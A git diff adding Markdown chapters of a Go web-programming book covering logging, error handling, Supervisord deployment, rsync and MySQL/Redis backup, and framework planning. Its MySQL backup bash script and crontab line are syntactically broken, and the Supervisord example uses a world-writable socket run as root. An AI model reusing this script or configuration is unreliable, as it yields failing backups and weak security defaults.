message while online, you and your specified recipients will receive a notification email. You and your team can then process and remedy the situation in a timely manner. + +## Using application logs + +When it comes to logs, each application's use-case may vary. For example, some people use logs for data analysis purposes, others for performance optimization. Some logs are used to analyze user behavior and how people interact with your website. Of course, there are logs which are simply used to record application events as auxiliary data for finding problems. + +As an example, let's say we need to track user attempts at logging into our system. This involves recording both successful and unsuccessful login attempts into our log. We'd typically use the "Info" log level to record these types of events, rather than something more serious like "warn". If you're using a linux-type system, you can conveniently view all unsuccessful login attempts from the log using the `grep` command like so: + + # cat /data/logs/roll.log | grep "failed login" + 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password + +This way, we can easily find the appropriate information in our application log, which can help us to perform statistical analysis if needed. In addition, we also need to consider the size of logs generated by high-traffic web applications. These logs can sometimes grow unpredictably. To resolve this issue, we can set `seelog` up with the logrotate configuration to ensure that single log files do not consume excessive disk space. + +## Summary + +In this section, we've learned the basics of `seelog` and how to build a custom logging system with it. We saw that we can easily configure `seelog` into as powerful a log processing system as we need, using it to supply us with reliable sources of data for analysis. Through log analysis, we can optimize our system and easily locate the sources of problems when they arise. In addition, `seelog` ships with various default log levels. We can use the `minlevel` configuration in conjunction with a log level to easily set up tests or send automated notification messages. + +## Links + +- [Directory](preface.md) +- Previous section: [Deployment and maintenance](12.0.md) +- Next section: [Errors and crashes](12.2.md) diff --git a/th/12.2.md b/th/12.2.md new file mode 100644 index 000000000..829da8374 --- /dev/null +++ b/th/12.2.md @@ -0,0 +1,142 @@ +# 12.2 Errors and crashes + +Once our web applications go live, it's likely that there will be some unforeseen errors. A few example of common errors that may occur in the course of your application's daily operations, are listed below: + +- Database Errors: errors related to accessing the database server or stored data. The following are some database errors which you may encounter: + +- Connection Errors: indicates that a connection to the network database server could not be established, a supplied user name or password is incorrect, or that the database does not exist. +- Query Errors: the illegal or incorrect use of an SQL query can raise an error such as this. These types of errors can be avoided through rigorous testing. +- Data Errors: database constraint violation such as attempting to insert a field with a duplicate primary key. These types of errors can also be avoided through rigorous testing before deploying your application into a production environment. +- Application Runtime Errors: These types of errors vary greatly, covering almost all error codes which may appear during runtime. Possible application errors are as follows: + +- File system and permission errors: when the application attempts to read a file which does not exist or does not have permission to read, or when it attempts to write to a file which it is not allowed to write to, errors of this category will occur. A file system error will also occur if an application reads a file with an unexpected format, for instance a configuration file that should be in the INI format but is instead structured as JSON. +- Third-party application errors: These errors occur in applications which interface with other third-party applications or services. For instance, if an application publishes tweets after making calls to Twitter's API, it's obvious that Twitter's services must be up and running in order for our application to complete its task. We must also ensure that we supply these third-party interfaces with the appropriate parameters in our calls, or else they will also return errors. + +- HTTP errors: These errors vary greatly, and are based on user requests. The most common is the 404 Not Found error, which arises when users attempt to access non-existent resources in your application. Another common HTTP error is the 401 Unauthorized error (authentication is required to access the requested resource), 403 Forbidden error (users are altogether refused access to this resource) and 503 Service Unavailable errors (indicative of an internal program error). +- Operating system errors: These sorts of errors occur at the operating system layer and can happen when operating system resources are over-allocated, leading to crashes and system instability. Another common occurrence at this level is when the operating system disk gets filled to capacity, making it impossible to write to. This naturally produces many errors. +- Network errors: network errors typically come in two flavors: one is when users issue requests to the application and the network disconnects, thus disrupting its processing and response phase. These errors do not cause the application to crash, but can affect user access to the website; the other is when applications attempt to read data from disconnected networks, causing read failures. Judicious testing is particularly important when making network calls to avoid such problems, which can cause your application to crash. + +## Error handling goals + + +Before implementing error handling, we must be clear about what goals we are trying to achieve. In general, error handling systems should accomplish the following: + +- User error notifications: when system or user errors occur, causing current user requests to fail to complete, affected users should be notified of the problem. For example, for errors cause by user requests, we show a unified error page (404.html). When a system error occurs, we use a custom error page to provide feedback for users as to what happened - for instance, that the system is temporarily unavailable (error.html). +- Log errors: when system errors occur (in general, when functions return non-nil error variables), a logging system such as the one described earlier should be used to record the event into a log file. If it is a fatal error, the system administrator should also be notified via e-mail. In general however, most 404 errors do not warrant the sending of email notifications; recording the event into a log for later scrutiny is often adequate. +- Roll back the current request operation: If a user request causes a server error, then we need to be able to roll back the current operation. Let's look at an example: a system saves a user-submitted form to its database, then submits this data to a third-party server. However, the third-party server disconnects and we are unable to establish a connection with it, which results in an error. In this case, the previously stored form data should be deleted from the database (void should be informed), and the application should inform the user of the system error. +- Ensure that the application can recover from errors: we know that it's difficult for any program to guarantee 100% uptime, so we need to make provision for scenarios where our programs fail. For instance if our program crashes, we first need to log the error, notify the relevant parties involved, then immediately get the program up and running again. This way, our application can continue to provide services while a system administrator investigates and fixes the cause of the problem. + +## How to handle errors + +In chapter 11, we addressed the process of error handling and design using some examples. Let's go into these examples in a bit more detail, and see some other error handling scenarios: + +- Notify the user of errors: + +When an error occurs, we can present the user accessing the page with two kinds of errors pages: 404.html and error.html. Here is an example of what the source code of an error page might look like: + + + + + + Page Not Found + + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+ +
+
+ + + + +Another example: + + + + + + system error page + + + + + + +
+
+
+
+

system is temporarily unavailable !

+

{{.ErrorInfo}}

+
+
+ +
+
+ + + + +404 error-handling logic, in the occurrence of a system error: + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } + + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error(" page not found") //error logging + t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file + ErrorInfo := " File not found " //Get the current user information + t.Execute(w, ErrorInfo) //execute the template merger operation + } + + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical(" System Error") //system error triggered Critical, then logging will not only send a message + t, _ = t.ParseFiles("tmpl/error.html", nil) //parse the template file + ErrorInfo := " system is temporarily unavailable " //Get the current user information + t.Execute(w, ErrorInfo) //execute the template merger operation + } + +## How to handle exceptions + +We know that many other languages have `try... catch` keywords used to capture the unusual circumstances, but in fact, many errors can be expected to occur without the need for exception handling, and can be instead treated as an errors. It's for this reason that Go functions return errors by design. For example, if a file is not found or if `os.Open` returns an error, these functions will not panic; as another example, if a network connection gets disconnected during a data write operation, the `net.Conn` family of `Write` functions will return errors instead of panicking. These error states are to be expected in most applications and Go particularly makes it explicit when operations might fail by returning error variables. Looking at the example above, we can clearly see the errors that can be expected to occur. + +There are, however, cases where `panic` should be used. For instance in operations where failure is almost impossible, or in certain situations where there is no way to return an error and the operation cannot continue, `panic` should be used. Take for example a program that tries to obtain the value of an array at x[j], but the index j is out of bounds. This part of the code will cause the program to panic, as will other critical, unexpected errors of this nature. By default, panicking will kill off the offending process (goroutine), allowing the code which dispatched the goroutine an opportunity to recover from the error. This way, the function in which the error occurred as well as all subsequent code after it will not continue to execute. Go's `panic` was deliberately designed with this behavior in mind, which is different than typical error handling; `panic` is really just exception handling. In the example below, we expect that `User[UID]` will return a username from the `User` array, but the UID that we use is out of bounds and throws an exception. If we do not have a recovery mechanism to deal with this immediately, the process will be killed, and the panic will propagate up the stack until our program finally crashes. In order for our application to be robust and resilient to these kinds of runtime errors, we need to implement recovery mechanisms in certain places. + + func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() + + username = User[uid] + return + } + +The above describes the differences between errors and exceptions. So, when it comes down to developing our Go applications, when do we use one or the other? The rules are simple: if you define a function that you anticipate might fail, then return an error variable. When calling another package's function, if it is implemented well, there should be no need to worry that it will panic unless a true exception has occurred (whether recovery logic has been implemented or not). Panic and recover should only be used internally inside packages to deal with special cases where the state of the program cannot be guaranteed, or when a programmer's error has occurred. Externally facing APIs should explicitly return error values. + +## Summary + +This section summarizes how web applications should handle various errors such as network, database and operating system errors, among others. We've outline several techniques to effectively deal with runtime errors such as: displaying user-friendly error notifications, rolling back actions, logging, and alerting system administrators. Finally, we explained how to correctly handle errors and exceptions. The concept of an error is often confused with that of an exception, however in Go, there is a clear distinction between the two. For this reason, we've discussed the principles of processing both errors and exceptions in web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Logs](12.1.md) +- Next section: [Deployment](12.3.md) diff --git a/th/12.3.md b/th/12.3.md new file mode 100644 index 000000000..77cac4557 --- /dev/null +++ b/th/12.3.md @@ -0,0 +1,192 @@ +# 12.3 Deployment + +When our web application is finally production ready, what are the steps necessary to get it deployed? In Go, an executable file encapsulating our application is created after we compile our programs. Programs written in C can run perfectly as background daemon processes, however Go does not yet have native support for daemons. The good news is that we can use third party tools to help us manage the deployment of our Go applications, examples of which are Supervisord, upstart and daemontools, among others. This section will introduce you to some basics of the Supervisord process control system. + +## Daemons + +Currently, Go programs cannot be run as daemon processes (for additional information, see the open issue on GitHub [here](https://github.com/golang/go/issues/227)). It's difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have been used. + +We can, however, see many attempts at implementing daemons online, such as in the two following ways; + +- MarGo one implementation of the concept of using `Command` to deploy applications. If you really want to daemonize your applications, it is recommended to use code similar to the following: + +
+	d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
+	if *d {
+		cmd := exec.Command(os.Args[0],
+			"-close-fds",
+			"-addr", *addr,
+			"-call", *call,
+		)
+		serr, err := cmd.StderrPipe()
+		if err != nil {
+			log.Fatalln(err)
+		}
+		err = cmd.Start()
+		if err != nil {
+			log.Fatalln(err)
+		}
+		s, err := ioutil.ReadAll(serr)
+		s = bytes.TrimSpace(s)
+		if bytes.HasPrefix(s, []byte("addr: ")) {
+			fmt.Println(string(s))
+			cmd.Process.Release()
+		} else {
+			log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
+			cmd.Process.Kill()
+		}
+	}
+
+ +- Another solution is to use `syscall`, but this solution is not perfect: + +``` + package main + + import ( + "log" + "os" + "syscall" + ) + + func daemon(nochdir, noclose int) int { + var ret, ret2 uintptr + var err uintptr + + darwin := syscall.OS == "darwin" + + // already a daemon + if syscall.Getppid() == 1 { + return 0 + } + + // fork off the parent process + ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) + if err != 0 { + return -1 + } + + // failure + if ret2 < 0 { + os.Exit(-1) + } + + // handle exception for darwin + if darwin && ret2 == 1 { + ret = 0 + } + + // if we got a good PID, then we call exit the parent process. + if ret > 0 { + os.Exit(0) + } + + /* Change the file mode mask */ + _ = syscall.Umask(0) + + // create a new SID for the child process + s_ret, s_errno := syscall.Setsid() + if s_errno != 0 { + log.Printf("Error: syscall.Setsid errno: %d", s_errno) + } + if s_ret < 0 { + return -1 + } + + if nochdir == 0 { + os.Chdir("/") + } + + if noclose == 0 { + f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) + if e == nil { + fd := f.Fd() + syscall.Dup2(fd, os.Stdin.Fd()) + syscall.Dup2(fd, os.Stdout.Fd()) + syscall.Dup2(fd, os.Stderr.Fd()) + } + } + + return 0 + } +``` + +While the two solutions above implement daemonization in Go, I still cannot recommend that you use either methods since there is no official support for daemons in Go. Notwithstanding this fact, the first option is the more feasible one, and is currently being used by some well-known open source projects like [skynet](https://github.com/skynetservices/skynet) for implementing daemons. + +## Supervisord + +Above, we've looked at two schemes that are commonly used to implement daemons in Go, however both methods lack official support. So, it's recommended that you use a third-party tool to manage application deployment. Here we take a look at the Supervisord project, implemented in Python, which provides extensive tools for process management. Supervisord will help you to daemonize your Go applications, also allowing you to do things like start, shut down and restart your applications with some simple commands, among many other actions. In addition, Supervisord managed processes can automatically restart processes which have crashed, ensuring that programs can recover from any interruptions. + +> As an aside, I recently fell into a common pitfall while trying to deploy an application using Supervisord. All applications deployed using Supervisord are born out of the Supervisord parent process. When you change an operating system file descriptor, don't forget to completely restart Supervisord -simply restarting the application it is managing will not suffice. When I first deployed an application with Supervisord, I modified the default file descriptor field, changing the default number from 1024 to 100,000 and then restarting my application. In reality, Supervisord continued using only 1024 file descriptors to manage all of my application's processes. Upon deploying my application, the logger began reporting a lack of file descriptors! It was a long process finding and fixing this mistake, so beware! + +### Installing Supervisord + +Supervisord can easily be installed using `sudo easy_install supervisor`. Of course, there is also the option of directly downloading it from its official website, uncompressing it, going into the folder then running `setup.py install` to install it manually. + +- If you're going the `easy_install` route, then you need to first install `setuptools` + +Go to `http://pypi.python.org/pypi/setuptools#files` and download the appropriate file, depending on your system's python version. Enter the directory and execute `sh setuptoolsxxxx.egg`. When then script is done, you'll be able to use the `easy_install` command to install Supervisord. + +### Configuring Supervisord + +Supervisord's default configuration file path is `/etc/supervisord.conf`, and can be modified using a text editor. The following is what a typical configuration file may look like: + + ;/etc/supervisord.conf + [unix_http_server] + file = /var/run/supervisord.sock + chmod = 0777 + chown= root:root + + [inet_http_server] + # Web management interface settings + port=9001 + username = admin + password = yourpassword + + [supervisorctl] + ; Must 'unix_http_server' match the settings inside + serverurl = unix:///var/run/supervisord.sock + + [supervisord] + logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) + logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) + logfile_backups=10 ; (num of main logfile rotation backups;default 10) + loglevel=info ; (log level;default info; others: debug,warn,trace) + pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) + nodaemon=true ; (start in foreground if true;default false) + minfds=1024 ; (min. avail startup file descriptors;default 1024) + minprocs=200 ; (min. avail process descriptors;default 200) + user=root ; (default is current user, required if root) + childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + + [rpcinterface:supervisor] + supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + ; Manage the configuration of a single process, you can add multiple program + [program: blogdemon] + command =/data/blog/blogdemon + autostart = true + startsecs = 5 + user = root + redirect_stderr = true + stdout_logfile =/var/log/supervisord/blogdemon.log + +### Supervisord management + +After installation is complete, two Supervisord commands become available to you on the command line: `supervisor` and `supervisorctl`. The commands are as follows: + +- `supervisord`: initial startup, launch, and process configuration management. +- `supervisorctl stop programxxx`: stop the programxxx process, where programxxx is a value configured in your `supervisord.conf` file. For instance, if you have something like `[program: blogdemon]` configured, you would use the `supervisorctl stop blogdemon` command to kill the process. +- `supervisorctl start programxxx`: start the programxxx process +- `supervisorctl restart programxxx`: restart the programxxx process +- `supervisorctl stop all`: stop all processes; note: start, restart, stop will not load the latest configuration files. +- `supervisorctl reload`: load the latest configuration file, launch them, and manage all processes with the new configuration. + +## Summary + +In this section, we described how to implement daemons in Go. We learned that Go does not natively support daemons, and that we need to use third-party tools to help us manage them. One such tool is the Supervisord process control system which we can use to easily deploy and manage our Go programs. + +## Links + +- [Directory](preface.md) +- Previous section: [Errors and crashes](12.2.md) +- Next section: [Backup and recovery](12.4.md) diff --git a/th/12.4.md b/th/12.4.md new file mode 100644 index 000000000..6babaf26b --- /dev/null +++ b/th/12.4.md @@ -0,0 +1,193 @@ +# 12.4 Backup and recovery + +In this section, we'll discuss another aspect of application management: data backup and recovery on production servers. We often encounter situations where production servers don't behave as we expect them to. Server network outages, hard drive malfunctions, operating system crashes and other similar events can cause databases to become unavailable. The need to recover from these types of events has led to the emergence of many cold standby/hot standby tools that can help to facilitate disaster recovery remotely. In this section, we'll explain how to backup deployed applications in addition to backing up and restoring any MySQL and Redis databases you might be using. + +## Application Backup + +In most cluster environments, web applications do not need to be backed up since they are actually copies of code from our local development environment, or from a version control system. In many cases however, we need to backup data which has been supplied by the users of our site. For instance, when sites require users to upload files, we need to be able to backup any files that have been uploaded by users to our website. The current approach for providing this kind of redundancy is to utilize so-called cloud storage, where user files and other related resources are persisted into a highly available network of servers. If our system crashes, as long as user data has been persisted onto the cloud, we can at least be sure that no data will be lost. + +But what about the cases where we did not backup our data to a cloud service, or where cloud storage was not an option? How do we backup data from our web applications then? Here, we describe a tool called rsync, which can be commonly found on unix-like systems. Rsync is a tool which can be used to synchronize files residing on different systems, and a perfect use-case for this functionality is to keep our website backed up. + +> Note: Cwrsync is an implementation of rsync for the Windows environment + +### Rsync installation + +You can find the latest version of rsync from its [official website](http://rsync.samba.org/can). Of course, because rsync is very useful software, many Linux distributions will already have it installed by default. + +Package Installation: + + # sudo apt-get install rsync ; Note: debian, ubuntu and other online installation methods ; + # yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ; + # rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ; + +For the other Linux distributions, please use the appropriate package management methods to install it. Alternatively, you can build it yourself from the source: + + tar xvf rsync-xxx.tar.gz + cd rsync-xxx + ./configure - prefix =/usr; make; make install + +> Note: If want to compile and install the rsync from its source, you have to install gcc compiler tools such as job. + +
Note: Before using source packages compiled and installed, you have to install gcc compiler tools such as job
+ +### Rsync Configuration + +Rsync can be configured from three main configuration files: `rsyncd.conf` which is the main configuration file, `rsyncd.secrets` which holds passwords, and `rsyncd.motd` which contains server information. + +You can refer to the official documentation on rsync's website for more detailed explanations, but here we will simply introduce the basics of setting up rsync:. + +- Starting an rsync daemon server-side: + + `# /usr/bin/rsync --daemon --config=/etc/rsyncd.conf` + +- the `--daemon` parameter is for running rsync in server mode. Make this the default boot-time setting by joining it to the `rc.local` file: + + `echo 'rsync --daemon' >> /etc/rc.d/rc.local` + +Setup an rsync username and password, making sure that it's owned only by root, so that local unauthorized users or exploits do not have access to it. If these permissions are not set correctly, rsync may not boot: + + echo 'Your Username: Your Password' > /etc/rsyncd.secrets + chmod 600 /etc/rsyncd.secrets + +- Client synchronization: + +Clients can synchronize server files with the following command: + + rsync -avzP --delete --password-file=rsyncd.secrets username@192.168.145.5::www /var/rsync/backup + +Let's break this down into a few key points: + +1. `-avzP` are some common options. Use `rsync --help` to review what these do. +2. `--delete` deletes extraneous files on the receiving side. For example, if files are deleted on the sending side, the next time the two machines are synchronized, the receiving sides will automatically delete the corresponding files. +3. `--password-file` specifies a password file for accessing an rsync daemon. On the client side, this is typically the `client/etc/rsyncd.secrets` file, and on the server side, it's `/etc/rsyncd.secrets`. When using something like Cron to automate rsync, you won't need to manually enter a password. +4. `username` specifies the username to be used in conjunction with the server-side `/etc/rsyncd.secrets` password +5. `192.168.145.5` is the IP address of the server +6. `::www` (note the double colons), specifies contacting an rsync daemon directly via TCP for synchronizing the `www` module according to the server-side configurations located in `/etc/rsyncd.conf`. When only a single colon is used, the rsync daemon is not contacted directly; instead, a remote-shell program such as ssh is used as the transport . + +In order to periodically synchronize files, you can set up a crontab file that will run rsync commands as often as needed. Of course, users can vary the frequency of synchronization according to how critical it is to keep certain directories or files up to date. + +## MySQL backup + +MySQL databases are still the mainstream, go-to solution for most web applications. The two most common methods of backing up MySQL databases are hot backups and cold backups. Hot backups are usually used with systems set up in a master/slave configuration to backup live data (the master/slave synchronization mode is typically used for separating database read/write operations, but can also be used for backing up live data). There is a lot of information available online detailing the various ways one can implement this type of scheme. For cold backups, incoming data is not backed up in real-time as is the case with hot backups. Instead, data backups are performed periodically. This way, if the system fails, the integrity of data before a certain period of time can still be guaranteed. For instance, in cases where a system malfunction causes data to be lost and the master/slave model is unable to retrieve it, cold backups can be used for a partial restoration. + +A shell script is generally used to implement regular cold backups of databases, executing synchronization tasks using rsync in a non-local mode. + + +The following is an example of a backup script that performs scheduled backups for a MySQL database. We use the `mysqldump` program which allows us to export the database to a file. + + + #!/bin/bash + # Configuration information; modify it as needed + mysql_user="USER" #MySQL backup user + mysql_password="PASSWORD" # MySQL backup user's password + mysql_host="localhost" + mysql_port="3306" + mysql_charset="utf8" # MySQL encoding + backup_db_arr=("db1" "db2") # Name of the database to be backed up, separating multiple databases wih spaces ("DB1", "DB2" db3 ") + backup_location=/var/www/mysql # Backup data storage location; please do not end with a "/" and leave it at its default, for the program to automatically create a folder + expire_backup_delete="ON" # Whether to delete outdated backups or not + expire_days=3 # Set the expiration time of backups, in days (defaults to three days); this is only valid when the `expire_backup_delete` option is "ON" + + # We do not need to modify the following initial settings below + backup_time=`date +%Y%m%d%H%M` # Define the backup time format + backup_Ymd=`date +%Y-%m-%d` # Define the backup directory date time + backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date + backup_dir=$backup_location/$backup_Ymd # Full path to the backup folder + welcome_msg="Welcome to use MySQL backup tools!" # Greeting + + # Determine whether to MySQL is running; if not, then abort the backup + mysql_ps=`ps-ef | grep mysql | wc-l` + mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l` + if [[$mysql_ps==0]-o [$mysql_listen==0]]; then + echo "ERROR: MySQL is not running! backup aborted!" + exit + else + echo $welcome_msg + fi + + # Connect to the mysql database; if a connection cannot be made, abort the backup + mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end + use mysql; + select host, user from user where user='root' and host='localhost'; + exit + end + + flag=`echo $?` + if [$flag!="0"]; then + echo "ERROR: Can't connect mysql server! backup aborted!" + exit + else + echo "MySQL connect ok! Please wait......" + # Determine whether a backup database is defined or not. If so, begin the backup; if not, then abort + if ["$backup_db_arr"!=""]; then + # dbnames=$(cut-d ','-f1-5 $backup_database) + # echo "arr is(${backup_db_arr [@]})" + for dbname in ${backup_db_arr [@]} + do + echo "database $dbname backup start..." + `mkdir -p $backup_dir` + `mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz` + flag=`echo $?` + if [$flag=="0"]; then + echo "database $dbname successfully backed up to $backup_dir/$dbname-$backup_time.sql.gz" + else + echo "database $dbname backup has failed!" + fi + + done + else + echo "ERROR: No database to backup! backup aborted!" + exit + fi + # If deleting expired backups is enabled, delete all expired backups + if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then + # `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;` + `find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf` + echo "Expired backup data delete complete!" + fi + echo "All databases have been successfully backed up! Thank you!" + exit + fi + + +Modify the properties of the shell script like so: + + chmod 600 /root/mysql_backup.sh + chmod +x /root/mysql_backup.sh + +Then add the crontab command: + + 00 00 *** /root/mysql_backup.sh + +This sets up regular backups of your databases to the `/var/www/mysql` directory every day at 00:00, which can then be synchronized using rsync. + +## MySQL Recovery + +We've just described some commonly used backup techniques for MySQL, namely hot backups and cold backups. To recap, the main goal of a hot backup is to be able to recover data in real-time after an application has failed in some way, such as in the case of a server hard-disk malfunction. We learned that this type of scheme can be implemented by modifying database configuration files so that databases are replicated onto a slave, minimizing interruption to services. + +But sometimes we need to perform a cold backup of the SQL data recovery, as with database backup, you can import through the command: +Hot backups are, however, sometimes inadequate. There are certain situations where cold backups are required to perform data recovery, even if it's only a partial one. When you have a cold backup of your database, you can use the following `MySQL` command to import it: + + mysql -u username -p databse < backup.sql + +As you can see, importing and exporting database is a fairly simple matter. If you need to manage administrative privileges or deal with different character sets, this process may become a little more complicated, though there are a number of commands which will help you to do this. + +## Redis backup + +Redis is one of the most popular NoSQL databases, and both hot and cold backup techniques can also be used in systems which use it. Like MySQL, Redis also supports master/slave mode, which is ideal for implementing hot backups (refer to Redis' official documentation to learn how to configure this; the process is very straightforward). As for cold backups, Redis routinely saves cached data in memory to the database file on-disk. We can simply use the rsync backup method described above to synchronize it with a non-local machine. + +## Redis recovery + +Similarly, Redis recovery can be divided into hot and cold backup recovery. The methods and objectives of recovering data from a hot backup of a Redis database are the same as those mentioned above for MySQL, as long as the Redis application is using the appropriate database connection. + +A Redis cold backup recovery simply involves copying backed-up database files into the working directory, then starting Redis on it. The database files are automatically loaded into memory at boot time; the speed with which Redis boots will depend on the size of the database files. + +## Summary + +In this section, we looked at some techniques for backing up data as well as recovering from disasters which may occur after deploying our applications. We also introduced rsync, a tool which can be used to synchronize files on different systems. Using rsync, we can easily perform backup and restoration procedures for both MySQL and Redis databases, among others. We hope that by being introduced to some of these concepts, you will be able to develop disaster recovery procedures to better protect the data in your web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Deployment](12.3.md) +- Next section: [Summary](12.5.md) diff --git a/th/12.5.md b/th/12.5.md new file mode 100644 index 000000000..fa3578145 --- /dev/null +++ b/th/12.5.md @@ -0,0 +1,20 @@ +# 12.5 Summary + +In this chapter, we discussed how to deploy and maintain our Go web applications. We also looked at some closely related topics which can help us to keep them running smoothly, with minimal maintenance. + +Specifically, we looked at: + +- Creating a robust logging system capable of recording errors, and notifying system administrators +- Handling runtime errors that may occur, including logging them, and how to relay this information in a user-friendly manner that there is a problem +- Handling 404 errors and notifying users that the requested page cannot be found +- Deploying applications to a production environment (including how to deploy updates) +- How to deploy highly available applications +- Backing up and restoring files and databases + +After reading the contents of this chapter, those thinking about developing a web application from scratch should already have the full picture on how to do so; this chapter provided an introduction on how to manage deployment environments, while previous chapters have focused on the development of code. + +## Links + +- [Directory](preface.md) +- Previous section: [Backup and recovery](12.4.md) +- Next chapter: [Building a web framework](13.0.md) diff --git a/th/13.0.md b/th/13.0.md new file mode 100644 index 000000000..30070bd93 --- /dev/null +++ b/th/13.0.md @@ -0,0 +1,11 @@ +# 13 Building a web framework + +The Preceding twelve chapters describe how to develop web applications in Go, introducing a lot of basic knowledge, development tools and techniques. In this chapter, we will be using this knowledge to implement a simple web framework. The first section of this chapter will take you through the planning and design stage of building a web framework. We'll look at leveraging the MVC pattern as well as designing program execution flow, among other things. The second section will describe the first feature of our framework: Routing; namely, how to map URLs to processing logic. Then in the third section, we describe the processing logic itself, which involves designing generic controllers, and how to handle requests and return responses after inheriting from an object handler. Next, we describe some of the auxiliary functionality common to most web frameworks, such as log processing, information configuration, etc. Finally, we'll implement a simple blogging system on top of our framework which will demonstrate the application logic necessary for publishing, modifying, deleting, and displaying lists of blog posts. + +By seeing first-hand how to implement such a complete project from scratch, you will hopefully have a better understanding of the inner workings of Go web applications. You'll be comfortable building your own project directory structures, implementing URL routers and utilizing MVC, among other aspects of web development. Among the frameworks prevalent today, MVC is no longer a myth. It's not uncommon to hear programmers arguing about which frameworks are good and which are bad, which is often too shallow of an approach. Frameworks are only tools, and some tools are more suitable for certain applications than others. There are no universally good or bad tools. Thus, by teaching yourself how to write a framework from scratch, you will be able to tailor-make the perfect tool to best realize your ideas! + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 12 summary](12.5.md) +- Next section: [Project program](13.1.md) diff --git a/th/13.1.md b/th/13.1.md new file mode 100644 index 000000000..4ccb15856 --- /dev/null +++ b/th/13.1.md @@ -0,0 +1,62 @@ +# 13.1 Project planning + +Anything you intend to do well must first be planned well. In our case, our intention is to develop a blogging system, so the first step we should take is to design the flow of the application in its entirety. When we have a clear understanding of the our application's process of execution, the subsequent design and coding steps become much easier. + +## GOPATH and project settings + +Let's proceed by assuming that our GOPATH points to a folder with an ordinary directory name (if not, we can easily set up a suitable directory and set its path as the GOPATH). As we've describe earlier, a GOPATH can contain more than one directory: in Windows, we can set this as an environment variable; in linux/OSX systems, GOPATH can be set using `export`, i.e: `export gopath=/path/to/your/directory`, as long as the directory which GOPATH points to contains the three sub-directories: `pkg`, `bin` and `src`. Below, we've placed the source code of our new project in the `src` directory with the tentative name `beelog`. Here are some screenshots of the Windows environment variables as well as of the directory structure. + +![](images/13.1.gopath.png?raw=true) + +Figure 13.1 Setting the GOPATH environment variable + +![](images/13.1.gopath2.png?raw=true) + +Figure 13.2 The working directory under $gopath/src + +## Application flowchart + +Our blogging system will be based on the model-view-controller design pattern. MVC is the separation of the application logic from the presentation layer. In practice, when we keep the presentation layer separated, we can drastically reduce the amount of code needed on our web pages. + +- Models represent data as well as the rules and logic governing it. In General, a model class will contain functions for removing, inserting and updating database information. +- Views are a representation of the state of a model. A view is usually a page, but in Go, a view can also be a fragment of a page, such as a header or footer. It can also be an RSS feed, or any other type of "page". Go's `template` package provides very good support for view layer functionality. +- Controllers are the glue logic between the model and view layers and encompasses all the intermediary logic necessary for handling HTTP requests and generating Web pages. + +The following figure is an overview of the project framework and demonstrates how data will flow through the system: + +![](images/13.1.flow.png?raw=true) + +Figure 13.3 framework data flow + +1. Main.go is the application's entry point and initializes some basic resources required to run the blog such as configuration information, listening ports, etc. +2. Routing checks all incoming HTTP requests and, according to the method, URL and parameters, matches it with the corresponding controller action. +3. If the requested resource has already been cached, the application will bypass the usual execution process and return a response directly to the user's browser. +4. Security detection: The application will filter incoming HTTP requests and any other user submitted data before handing it off to the controller. +5. Controller loads models, core libraries, and any other resources required to process specific requests. The controller is primarily responsible for handling business logic. +6. Output the rendered view to be sent to the client's web browser. If caching has been enabled, the first view is cached for future requests to the same resource. + +## Directory structure + +According to the framework flow we've designed above, our blog project's directory structure should look something like the following: + + |——main.go import documents + |——conf configuration files and processing module + |——controllers controller entry + |——models database processing module + |——utils useful function library + |——static static file directory + |——views view gallery + +## Framework design + +In order to quickly build our blog, we need to develop a minimal framework based on the application we've designed above. The framework should include routing capabilities, support for RESTful controllers, automated template rendering, a logging system, configuration management, and more. + +## Summary + +This section describes the initial design of our blogging system, from setting up our GOPATH to briefly introducing the MVC pattern. We also looked at the flow of data and the execution sequence of our blogging system. Finally, we designed the structure of our project directory. At this point, we've basically completed the groundwork required for assembling our framework. In the next few sections, we will implement each of the components we've discussed, one by one. + +## Links + +- [Directory](preface.md) +- Previous section: [Building a web framework](13.0.md) +- Next section: [Customizing routers](13.2.md) diff --git a/th/13.2.md b/th/13.2.md new file mode 100644 index 000000000..d6c1da2aa --- /dev/null +++ b/th/13.2.md @@ -0,0 +1,270 @@ +# 13.2 Customizing routers + +## HTTP routing + +The HTTP routing component is responsible for mapping HTTP requests to a corresponding function or `struct` method. The router takes two key pieces of information from incoming requests: + +-The user requested path (for example, `/user/123,/article/123`), and any query strings or parameters that come with it (for example, `?id=11`) +-The HTTP request method (GET, POST, PUT, and DELETE, PATCH, etc.) + +The router then forwards the request to the handler function (controller layer) that has been registered with that particular HTTP method and path. + +## Default routing implementation + +In section 3.4, we introduced Go's `http` package in detail, which included how to design and implement routing. Here, we take 